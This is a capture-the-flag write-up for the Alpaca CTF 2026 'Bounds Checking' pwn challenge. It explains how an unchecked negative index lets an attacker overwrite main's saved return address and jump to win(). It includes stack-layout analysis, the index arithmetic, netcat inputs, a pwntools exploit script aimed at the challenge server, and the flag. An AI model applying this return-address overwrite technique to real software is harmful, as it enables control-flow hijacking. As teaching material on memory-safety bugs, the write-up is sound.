Alpaca CTF 2026: Bounds Checking

Challenge Information

AttributeDetails
EventAlpaca CTF 2026
CategoryPwn
DifficultyHard
Authorrsk0315
ChallengeBounds Checking
Remotenc 34.170.146.252 22958

Summary

The binary reads a signed long index into a fixed-size stack array, but only validates the upper bound (index >= 0x100). A negative index bypasses the check entirely and allows an arbitrary 8-byte stack write. By picking an index that lands precisely on the saved return address of main, we overwrite it with the address of win() — a function that opens and prints the flag. The binary is built No PIE, making win’s address a compile-time constant. A stack canary is present but never touched because our write targets a slot above it.


Binary Properties

checksec --file=chal
PropertyValue
Archamd64-64-little
RELROPartial
StackCanary found
NXEnabled
PIENo PIE (base 0x400000)
SHSTK/IBTMarked in ELF (not enforced on default Ubuntu 24.04 kernel)

No PIE means all symbol addresses are static and readable from nm/objdump without needing an info leak.


Source Review (main.c)

void win(void) { /* opens flag.txt, prints it, exit(0) */ }
int main(void) {
long array[0x100] = {}; // 256 longs on the stack (2048 bytes)
long index = 0;
scanf("%ld", &index);
if (index >= 0x100) { exit(1); } // <-- only upper bound is checked!
long value = 0;
scanf("%ld", &value);
array[index] = value; // OOB write if index < 0
}

The Vulnerability

The bounds check if (index >= 0x100) uses a signed comparison — it only rejects values of 0x100 or greater. A negative index is a valid long that passes the check, turning array[index] = value into a write at &array[0] + 8 * index, which is below array[0] in memory (i.e., further up the stack toward saved registers).


Static Analysis

Key Symbols

$ nm chal | grep -E 'win|main'
0000000000401236 T win
000000000040129b T main

win is at 0x401236 — fixed, no ASLR to worry about.

Stack Layout of main (from disassembly)

sub rsp, 0x820 ; total frame: 2080 bytes
mov fs:[0x28] -> [rbp - 8] ; canary stored at rbp-8
lea rdx, [rbp - 0x810] ; &array[0] = rbp - 0x810
rep stosq (256 longs) ; zero-initialise array
[rbp - 0x820] = index ; local var: index
[rbp - 0x818] = value ; local var: value
; ...
cmp rax, 0xff ; signed check (jle, not jbe)
; write: mov [rbp + rax*8 - 0x810], rdx
; canary check; leave; ret

Visualised:

Address Content
───────────────────────────────
rbp + 8 → saved RIP ← TARGET
rbp + 0 → saved RBP
rbp - 8 → canary
rbp - 0x10 → (padding)
rbp - 0x18 → array[0xff]
...
rbp - 0x810 → array[0]
rbp - 0x818 → value
rbp - 0x820 → index ← rsp

Exploit Math

The write instruction is effectively:

destination = rbp + 8 * index - 0x810

We want destination == rbp + 8 (the saved RIP slot). Solving:

rbp + 8 * index - 0x810 = rbp + 8
8 * index = 0x818
index = 0x103 = 259

But 259 ≥ 0x100, so the bounds check blocks it.

Bypassing the Check With Modular Arithmetic

The address computation is done in a 64-bit register, so it wraps modulo 2⁶⁴. Any index satisfying:

8 * index ≡ 0x818 (mod 2⁶⁴)

hits the same destination. Dividing both sides by 8 (valid since 8 | 0x818):

index ≡ 0x103 (mod 2⁶¹)

Candidate values for k = -1 (the smallest magnitude negative solution):

index = 0x103 - 2⁶¹ = -2305843009213693693

This is negative, so cmp rax, 0xff; jle branches over the exit — the check passes.

Why the Canary Is Not a Problem

The canary lives at [rbp - 8], and the saved RIP is at [rbp + 8]. Our single 8-byte write targets exactly [rbp + 8], skipping the canary slot entirely. The canary check at function exit reads an untouched value and succeeds; ret fires with our hijacked address.


Solution

Payload Values

InputValueWhy
index-23058430092136936930x103 - 2⁶¹ — negative, bypasses check, hits saved RIP
value41989660x401236 in decimal — &win, scanf("%ld") is decimal-only

Gotcha: scanf("%ld") cannot parse hex (0x401236) or symbolic names. Always convert to decimal.

Manual Exploit (netcat)

Terminal window
$ nc 34.170.146.252 22958
-2305843009213693693
4198966
Alpaca{N0n-n3g471v17y_mus7_b3_ch3ck3d_m4nu411y_f0r_s1gn3d_in73g3rz}

exploit.py (pwntools)

from pwn import *
HOST, PORT = "34.170.146.252", 22958
WIN = 0x401236
# index = 0x103 - 2**61 (hits saved RIP, negative so bounds check passes)
INDEX = 0x103 - (1 << 61)
io = remote(HOST, PORT)
io.sendline(str(INDEX).encode())
io.sendline(str(WIN).encode())
io.interactive()

Expected output:

[+] Opening connection to 34.170.146.252 on port 22958: Done
[*] Switching to interactive mode
Alpaca{N0n-n3g471v17y_mus7_b3_ch3ck3d_m4nu411y_f0r_s1gn3d_in73g3rz}

Flag

Alpaca{N0n-n3g471v17y_mus7_b3_ch3ck3d_m4nu411y_f0r_s1gn3d_in73g3rz}

Key Takeaways

  • jle vs jbe: jle (“jump if less-or-equal”) is a signed comparison; jbe (“jump if below-or-equal”) is unsigned. A bounds check with jle does not reject negative indices — always verify which variant the compiler emits.
  • Negative index + 64-bit pointer math = arbitrary write: Even when only a few kilobytes of array are visible, 64-bit modular wrapping lets a negative index reach any 8-byte-aligned address in the process address space.
  • Stack canary ≠ blanket protection: The canary guards its own slot. If you can write to a higher address (saved RIP) without crossing the canary, it never triggers. Canaries are not a substitute for proper bounds checking.
  • No PIE = free address constant: Without position-independent code, all symbol addresses are known at compile time. No info leak required.
  • scanf("%ld") is decimal-only: Hex literals and symbol names don’t parse. Always convert to decimal when crafting manual payloads.

Tools Used

  • checksec: Binary protections enumeration
  • nm / objdump: Symbol addresses and disassembly
  • pwntools: Remote interaction and exploit automation
  • Python 3: Arithmetic for negative-index calculation

References